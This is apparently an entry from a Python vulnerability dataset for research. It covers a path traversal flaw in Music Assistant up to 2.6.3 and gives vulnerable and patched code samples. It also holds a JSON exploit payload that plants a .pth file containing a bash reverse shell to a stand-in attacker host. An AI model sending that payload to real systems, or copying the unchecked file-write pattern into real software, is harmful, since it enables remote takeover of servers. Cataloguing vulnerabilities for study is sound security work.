VAITP Dataset

← Back to the dataset

CVE-2026-26975

Unauth path traversal in Music Assistant <= 2.6.3 allows for remote code exec.

  • CVSS 8.8
  • CWE-22
  • Input Validation and Sanitization
  • Remote

Music Assistant is an open-source media library manager that integrates streaming services with connected speakers. Versions 2.6.3 and below allow unauthenticated network-adjacent attackers to execute arbitrary code on affected installations. The music/playlists/update API allows users to bypass the .m3u extension enforcement and write files anywhere on the filesystem, which is exacerbated by the container running as root. This can be exploited to achieve Remote Code Execution by writing a malicious .pth file to the Python site-packages directory, which will execute arbitrary commands when Python loads. This issue has been fixed in version 2.7.0.

CVSS base score
8.8
Published
2026-02-20
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Incorrect Check
Category
Input Validation and Sanitization
Subcategory
Path Traversal
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
Music Assist
Fixed by upgrading
Yes

Solution

Upgrade to version 2.7.0.

Vulnerable code sample

import os
from flask import Flask, request, jsonify

app = Flask(__name__)

# In a real scenario, this would be a directory like '/media/playlists'
# or another path inside the container.
PLAYLISTS_DIR = "/tmp/music_assistant/playlists"


@app.route("/api/music/playlists/update", methods=["POST"])
def music_playlists_update():
    """
    This function simulates the vulnerable API endpoint from Music Assistant <= 2.6.3.
    It allows writing files to the filesystem based on user-provided path and content.
    """
    try:
        data = request.get_json()
        # The 'path' parameter is fully controlled by the user.
        path = data.get("path")
        content = data.get("content")

        if not path or content is None:
            return jsonify({"error": "Missing 'path' or 'content'"}), 400

        # --- VULNERABLE CODE ---
        # The core vulnerability: a user-controlled path is joined with a base
        # directory without any sanitization or validation. An attacker can use
        # path traversal characters (e.g., `../`) to navigate out of the
        # intended `PLAYLISTS_DIR`.
        # The CVE notes that a '.m3u' extension enforcement was bypassed. This
        # code represents the state where the bypass is successful, and the
        # unsanitized path is used directly.
        full_path = os.path.join(PLAYLISTS_DIR, path)

        # The application does not check if the resolved `full_path` is
        # within the `PLAYLISTS_DIR`. This allows writing to any location
        # the running process has permissions for.
        
        # To make the exploit easier, create parent directories if they don't exist.
        os.makedirs(os.path.dirname(full_path), exist_ok=True)

        # The content is written to the arbitrary path. An attacker can use this
        # to write a malicious .pth file to a Python site-packages directory,
        # achieving remote code execution.
        with open(full_path, "w") as f:
            f.write(content)
        # --- END VULNERABLE CODE ---

        return jsonify({"success": True, "message": f"File written to {full_path}"})

    except Exception as e:
        return jsonify({"error": str(e)}), 500

Patched code sample

import os
import pathlib

# In a real application, this would be a configuration value.
# This represents the directory where playlists are allowed to be saved.
PLAYLISTS_BASE_DIR = "/data/playlists"


def update_playlist(playlist_filename: str, content: str) -> None:
    """
    Safely writes playlist content to a file, preventing path traversal.

    This function represents the patched logic for the 'music/playlists/update' API,
    addressing the arbitrary file write vulnerability.
    """
    # VULNERABILITY:
    # The original code might have done something like this, which is insecure:
    #   unsafe_path = os.path.join(PLAYLISTS_BASE_DIR, playlist_filename)
    #   with open(unsafe_path, "w") as f:
    #       f.write(content)
    # This allows a `playlist_filename` like "../../../tmp/evil.txt" to write
    # files outside of the intended PLAYLISTS_BASE_DIR.

    # --- FIX ---

    # 1. Use `os.path.basename` to strip any directory components from the input.
    # This is the primary defense against path traversal attacks like '../../'.
    # For example, `os.path.basename('../../../etc/passwd')` returns 'passwd'.
    safe_filename = os.path.basename(playlist_filename)

    # 2. Enforce the required '.m3u' file extension. The vulnerability description
    # notes that this check could be bypassed. The fix re-enforces it.
    if not safe_filename.endswith(".m3u"):
        # In a real-world scenario, you would raise a specific error here
        # to provide feedback to the user/API client.
        raise ValueError("Invalid playlist format. Filename must end with .m3u")

    # 3. Create a pathlib.Path object for the base directory for more robust and
    # secure path operations. resolve() creates a canonical, absolute path.
    safe_base_path = pathlib.Path(PLAYLISTS_BASE_DIR).resolve()

    # 4. Securely join the sanitized filename to the resolved base path.
    final_path = safe_base_path.joinpath(safe_filename)

    # 5. Perform the critical security check: Verify that the final resolved path
    # is a child of the safe base path. This is a redundant but crucial final
    # check to ensure the file is being written where it is expected.
    # `final_path.resolve()` is used to prevent any symbolic link trickery.
    try:
        # This check ensures that `safe_base_path` is a parent of `final_path`.
        # If `final_path` is outside `safe_base_path`, it will raise a ValueError.
        final_path.resolve().relative_to(safe_base_path)
    except ValueError:
        # This block is executed if the path is outside the allowed directory.
        # Log the attempt and raise an exception or return an error.
        # For example:
        #   log.warning(f"Path traversal attempt blocked for: {playlist_filename}")
        raise PermissionError("Path traversal attempt detected and blocked.")

    # 6. If all checks pass, it is safe to write the file.
    try:
        # Ensure parent directory exists before writing.
        final_path.parent.mkdir(parents=True, exist_ok=True)
        with open(final_path, "w", encoding="utf-8") as f:
            f.write(content)
        # print(f"Successfully wrote playlist to: {final_path}")
    except (IOError, OSError) as e:
        # Handle potential filesystem errors.
        # For example:
        #   log.error(f"Failed to write playlist {final_path}: {e}")
        raise IOError(f"Could not write to playlist file: {e}") from e

Payload

{
  "path": "../../../../../../usr/local/lib/python3.11/site-packages/exploit.pth",
  "content": "import os; os.system('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1\"')"
}

Cite this entry

@misc{vaitp:cve202626975,
  title        = {{Unauth path traversal in Music Assistant <= 2.6.3 allows for remote code exec.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-26975},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-26975/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::